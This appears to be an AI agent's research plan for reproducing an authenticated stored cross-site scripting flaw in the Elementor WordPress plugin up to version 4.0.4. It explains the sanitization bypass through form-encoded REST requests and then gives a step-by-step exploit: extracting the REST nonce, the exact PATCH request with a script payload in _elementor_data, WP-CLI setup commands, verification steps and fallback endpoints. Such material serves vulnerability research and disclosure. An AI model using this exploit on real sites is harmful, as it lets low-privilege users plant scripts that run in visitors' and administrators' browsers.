Elementor Website Builder <= 4.0.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via REST API

This research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the Elementor Website Builder plugin (<= 4.0.4).

1. Vulnerability Summary

The vulnerability exists because Elementor registers the _elementor_data meta field for use in the WordPress REST API but fails to provide a sanitize_callback during registration. Instead, it relies on a custom filter hooked to rest_pre_insert_post (and rest_pre_insert_page) named sanitize_post_data.

This filter attempts to decode the raw request body as JSON to sanitize the Elementor layout data. However, if an attacker sends a request with Content-Type: application/x-www-form-urlencoded, the json_decode() call on the raw body returns null. The function then exits early without performing any sanitization, allowing unsanitized JSON (containing XSS payloads) to be stored in the _elementor_data meta field.

2. Attack Vector Analysis

• Endpoint: /wp-json/wp/v2/posts/<ID> or /wp-json/wp/v2/pages/<ID>
• Method: POST (with _method=PATCH) or PATCH
• Authentication: Authenticated (Contributor level or higher).
• Vulnerable Parameter: meta[_elementor_data]
• Content-Type: application/x-www-form-urlencoded
• Payload Sink: The HTML widget within Elementor, which outputs data via print_unescaped_setting().

3. Code Flow

1. Entry Point: An authenticated user sends a PATCH request to the WordPress REST API to update a post they have permission to edit.
2. Meta Registration: Elementor calls register_meta( 'post', '_elementor_data', ... ) with 'show_in_rest' => true, but without a 'sanitize_callback'.
3. Vulnerable Filter: The rest_pre_insert_post filter triggers Elementor's sanitize_post_data function.
4. The Bypass:
   • sanitize_post_data calls json_decode( $request->get_body() ).
   • Because the request is application/x-www-form-urlencoded, the raw body is a string like meta%5B_elementor_data%5D=..., which is not valid JSON.
   • json_decode returns null.
   • The function returns the $prepared_post data unchanged.
5. Storage: WordPress core processes the meta array in the request and updates the _elementor_data post meta using update_post_meta() because it is registered as show_in_rest.
6. Rendering: When a user views the post, Elementor parses _elementor_data. The HTML widget processes the html setting and renders it directly to the page without escaping.

4. Nonce Acquisition Strategy

The WordPress REST API requires a wp_rest nonce for authenticated requests.

1. Identify Trigger: The REST nonce is globally available in the WordPress admin dashboard for logged-in users.
2. Access Strategy:
   • Log in as a Contributor.
   • Navigate to the WordPress Dashboard (/wp-admin/).
   • Use browser_eval to extract the nonce from the wpApiSettings object.
3. JavaScript Path: window.wpApiSettings.nonce

5. Exploitation Strategy

1. Preparation: Identify or create a post/page ID where the Contributor is the author.
2. Payload Construction: Create a JSON string for _elementor_data that defines an HTML widget containing the XSS payload.

   [{"id":"poc_id","elType":"widget","widgetType":"html","settings":{"html":"<script>alert(document.domain)</script>"},"elements":[]}]
   

3. Request Execution: Use the http_request tool to send a POST request to the REST API with the _method=PATCH override.
   • URL: https://<target>/wp-json/wp/v2/posts/<ID>
   • Headers:
     • X-WP-Nonce: <extracted_nonce>
     • Content-Type: application/x-www-form-urlencoded
   • Body:
     meta[_elementor_data]=[{"id":"xss","elType":"widget","widgetType":"html","settings":{"html":"<script>alert(document.domain)</script>"},"elements":[]}]&meta[_elementor_edit_mode]=builder

6. Test Data Setup

1. User: Create a user with the contributor role.
2. Content: As the contributor, create a draft post:
   wp post create --post_type=post --post_title='XSS Test' --post_status=draft --post_author=<user_id>
3. Permissions: Ensure the contributor can edit this specific post ID.

7. Expected Results

• The REST API should return a 200 OK response with the updated post data.
• The _elementor_data field in the database should contain the raw, unsanitized JSON string with the <script> tag.
• When navigating to the post URL (or previewing it), a browser alert box should appear showing the document domain.

8. Verification Steps

1. Database Check: Use WP-CLI to verify the stored meta value:
   wp post meta get <ID> _elementor_data
   Confirmation: The output should contain the raw <script> payload.
2. Frontend Check: Use browser_navigate to visit the post URL and check for the presence of the script in the DOM or the execution of the alert.

9. Alternative Approaches

If the standard posts endpoint is restricted, try the pages endpoint:

• Endpoint: /wp-json/wp/v2/pages/<ID>
• Payload Modification: If the HTML widget is somehow blocked, attempt to use the text-editor widget or the heading widget, though these may have more internal sanitization than the html widget.
• JSON in Form Body: If the meta parameter is ignored, try sending the payload as a single url-encoded parameter: _elementor_data=<payload> (though standard REST API updates specifically look for the meta key).